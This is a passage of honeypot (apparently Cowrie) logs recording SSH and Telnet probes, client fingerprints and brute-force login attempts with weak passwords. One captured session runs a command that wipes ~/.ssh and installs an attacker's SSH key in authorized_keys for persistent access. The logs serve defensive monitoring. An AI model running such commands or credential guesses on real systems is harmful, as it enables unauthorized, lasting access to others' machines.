],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:36.768599Z","src_ip":"103.199.16.90","session":"fac4a0d0cb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maya","password":"123456","message":"login attempt [maya/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:37.683317Z","src_ip":"103.199.16.90","session":"fac4a0d0cb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:38.912084Z","src_ip":"103.199.16.90","session":"fac4a0d0cb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46694,"dst_ip":"159.203.135.109","dst_port":23,"session":"59fb03575487","protocol":"telnet","message":"New connection: 107.6.151.170:46694 (159.203.135.109:23) [session: 59fb03575487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:38.952972Z"}
{"eventid":"cowrie.session.closed","duration":0.004851579666137695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:38.957678Z","src_ip":"107.6.151.170","session":"59fb03575487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":55636,"dst_ip":"159.203.135.109","dst_port":22,"session":"767d0c7e20c0","protocol":"ssh","message":"New connection: 68.207.224.247:55636 (159.203.135.109:22) [session: 767d0c7e20c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:42.187209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:42.190784Z","src_ip":"68.207.224.247","session":"767d0c7e20c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:42.229852Z","src_ip":"68.207.224.247","session":"767d0c7e20c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:42.406958Z","src_ip":"8.210.75.243","session":"22adce7b09c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Df@123456","message":"login attempt [root/Df@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:42.417500Z","src_ip":"68.207.224.247","session":"767d0c7e20c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:43.456868Z","src_ip":"68.207.224.247","session":"767d0c7e20c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":36816,"dst_ip":"159.203.135.109","dst_port":22,"session":"c94e4876b07b","protocol":"ssh","message":"New connection: 139.19.117.129:36816 (159.203.135.109:22) [session: c94e4876b07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.187225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.190735Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.277968Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDjy4iegOSK5x2YhJLZ+1K+dzf2r1byKuiB4oZBpLb3ngjxJtpEi27XaI/38nlRBz5/8kvFVGk2bXsjF6dLhRmZzrSIFVfLHjIiCkffQmXexdlsNY0BhU682dnjFsi+HM6xQG/WaujF5vfERZ+2EXclWeJy4aNCUaBJfzATYqxFLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.454604Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDjy4iegOSK5x2YhJLZ+1K+dzf2r1byKuiB4oZBpLb3ngjxJtpEi27XaI/38nlRBz5/8kvFVGk2bXsjF6dLhRmZzrSIFVfLHjIiCkffQmXexdlsNY0BhU682dnjFsi+HM6xQG/WaujF5vfERZ+2EXclWeJy4aNCUaBJfzATYqxFLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.457978Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDjy4iegOSK5x2YhJLZ+1K+dzf2r1byKuiB4oZBpLb3ngjxJtpEi27XaI/38nlRBz5/8kvFVGk2bXsjF6dLhRmZzrSIFVfLHjIiCkffQmXexdlsNY0BhU682dnjFsi+HM6xQG/WaujF5vfERZ+2EXclWeJy4aNCUaBJfzATYqxFLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.550226Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:1c:53:6a:86:75:33:1e:db:c1:8b:60:b4:a8:d1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDjy4iegOSK5x2YhJLZ+1K+dzf2r1byKuiB4oZBpLb3ngjxJtpEi27XaI/38nlRBz5/8kvFVGk2bXsjF6dLhRmZzrSIFVfLHjIiCkffQmXexdlsNY0BhU682dnjFsi+HM6xQG/WaujF5vfERZ+2EXclWeJy4aNCUaBJfzATYqxFLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:44.554715Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"989c937ab965","protocol":"ssh","message":"New connection: 8.210.75.243:60998 (10.17.0.5:22) [session: 989c937ab965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:52.723228Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":42860,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c7e22db130","protocol":"ssh","message":"New connection: 113.161.222.150:42860 (159.203.135.109:22) [session: 21c7e22db130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:54.150625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:54.154718Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:54.187889Z","src_ip":"139.19.117.129","session":"c94e4876b07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:54.395057Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin123","message":"login attempt [admin/adminadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:55.392663Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:55.922207Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:55.924897Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:55.928207Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:56.410248Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:56.695385Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:56.698332Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:56.943542Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:56.946502Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":43778,"dst_ip":"159.203.135.109","dst_port":22,"session":"7adf1916428d","protocol":"ssh","message":"New connection: 113.161.222.150:43778 (159.203.135.109:22) [session: 7adf1916428d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:57.174886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:57.180141Z","src_ip":"113.161.222.150","session":"7adf1916428d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:57.419277Z","src_ip":"113.161.222.150","session":"7adf1916428d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:58.401543Z","src_ip":"113.161.222.150","session":"7adf1916428d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:59.642217Z","src_ip":"113.161.222.150","session":"7adf1916428d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":44502,"dst_ip":"159.203.135.109","dst_port":22,"session":"8300b0adaf54","protocol":"ssh","message":"New connection: 113.161.222.150:44502 (159.203.135.109:22) [session: 8300b0adaf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:59.872655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:27:59.878936Z","src_ip":"113.161.222.150","session":"8300b0adaf54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:00.122668Z","src_ip":"113.161.222.150","session":"8300b0adaf54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d1a7963c94","protocol":"ssh","message":"New connection: 8.210.75.243:44858 (10.17.0.5:22) [session: e8d1a7963c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:00.193021Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:01.093580Z","src_ip":"113.161.222.150","session":"8300b0adaf54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:02.331173Z","src_ip":"113.161.222.150","session":"8300b0adaf54","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:28:02.620718Z","src_ip":"113.161.222.150","session":"21c7e22db130","protocol":"ssh"}
